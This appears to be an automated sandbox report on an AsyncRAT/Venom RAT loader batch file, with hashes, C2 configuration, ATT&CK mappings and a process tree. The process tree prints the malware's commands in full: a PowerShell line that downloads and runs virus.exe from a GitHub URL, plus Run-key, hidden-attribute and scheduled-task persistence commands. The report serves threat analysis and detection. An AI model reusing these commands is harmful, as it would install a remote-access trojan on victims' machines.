asyncrat | 34e0e93a5bf239bc92b9fb15c93930d5d9dafb09d4986b8dddc180c56d0ddfb8

Analysis

max time kernel
870s
max time network
862s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-12-2024 23:22

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General

Target

Loader.bat
Size

5KB
MD5

036ac78d84f772e72aff4fbc7b4173bc
SHA1

84e1145e5165e31ee8c8db00134fad7236ca66bc
SHA256

34e0e93a5bf239bc92b9fb15c93930d5d9dafb09d4986b8dddc180c56d0ddfb8
SHA512

c33205e7dda5630d7ebb42b72ad20a29eb0b7b7a2e0c47c75310087e7236a4434dd52c48a68bd3a76a258bc0d7008162679b1c28716d46c6210ad282986be099
SSDEEP

96:OTawvGrSZG7aZgXWp/Yejj7T+a8FMiXpFLv4Ltf:UaYQSZ5ZgKYejjnj9

Score

10^/10

asyncrat default discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

66.66.146.74:9511

Mutex

8906005788005HTGF

Attributes

delay
1
install
true
install_file
WINDOWS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000200000001e783-17.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	4880	powershell.exe
17	4880	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4880	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	virus.exe

Executes dropped EXE 2 IoCs

pid	Process
1932	virus.exe
2476	WINDOWS.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Loader.bat"	reg.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2188	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2876	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4880	powershell.exe
4880	powershell.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
1932	virus.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe
2476	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	1932	virus.exe
Token: SeDebugPrivilege	2476	WINDOWS.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2476	WINDOWS.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1140 wrote to memory of 1556	1140	cmd.exe	85
PID 1140 wrote to memory of 1556	1140	cmd.exe	85
PID 1140 wrote to memory of 372	1140	cmd.exe	86
PID 1140 wrote to memory of 372	1140	cmd.exe	86
PID 1140 wrote to memory of 4880	1140	cmd.exe	87
PID 1140 wrote to memory of 4880	1140	cmd.exe	87
PID 4880 wrote to memory of 1932	4880	powershell.exe	88
PID 4880 wrote to memory of 1932	4880	powershell.exe	88
PID 1932 wrote to memory of 4392	1932	virus.exe	89
PID 1932 wrote to memory of 4392	1932	virus.exe	89
PID 1932 wrote to memory of 5012	1932	virus.exe	91
PID 1932 wrote to memory of 5012	1932	virus.exe	91
PID 5012 wrote to memory of 2188	5012	cmd.exe	94
PID 5012 wrote to memory of 2188	5012	cmd.exe	94
PID 4392 wrote to memory of 2876	4392	cmd.exe	93
PID 4392 wrote to memory of 2876	4392	cmd.exe	93
PID 5012 wrote to memory of 2476	5012	cmd.exe	96
PID 5012 wrote to memory of 2476	5012	cmd.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1556	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1140
- C:\Windows\system32\attrib.exe
  attrib +h +r C:\Users\Admin\AppData\Local\Temp\Loader.bat
  2⤵
  - Views/modifies file attributes
  PID:1556
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Startup" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Loader.bat" /f
  2⤵
  - Adds Run key to start application
  PID:372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"$env:Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Users\Admin\AppData\Local\Temp\virus.exe
    "C:\Users\Admin\AppData\Local\Temp\virus.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4392
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpC15C.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5012
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2188
    - - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ajzlajz2.03i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC15C.tmp.bat

Filesize
151B

MD5
8acf8ed3ae152659eb7f4274d410891c

SHA1
c6fbd4ad8f75a46d3ea3f4001de30d55ac6fb7aa

SHA256
eca0796c618f43070249cb7feb6e0516534095f79f3eae9176e8014a52a07b2f

SHA512
d561696af58fae5fb4914f10aeb6c9026178be97a65fb6433a26929af8e622328fc09bd95d0ea063aa4043d6eea43fabffa2174f24fd7ad62c52c092c92a8c71

Download Submit
C:\Users\Admin\AppData\Local\Temp\virus.exe

Filesize
74KB

MD5
7a545dbf06e65f7f17f04ae0f5153e0e

SHA1
ab20193637edd250eac59fd71b6ea2b7a0faaad4

SHA256
c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d

SHA512
98a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
memory/1932-32-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/1932-24-0x00000000004E0000-0x00000000004F8000-memory.dmp

Filesize
96KB

Download
memory/1932-26-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/1932-27-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/4880-12-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/4880-0-0x00007FFA03C43000-0x00007FFA03C45000-memory.dmp

Filesize
8KB

Download
memory/4880-11-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/4880-10-0x000002A87A690000-0x000002A87A6B2000-memory.dmp

Filesize
136KB

Download
memory/4880-38-0x00007FFA03C43000-0x00007FFA03C45000-memory.dmp

Filesize
8KB

Download
memory/4880-39-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/4880-42-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download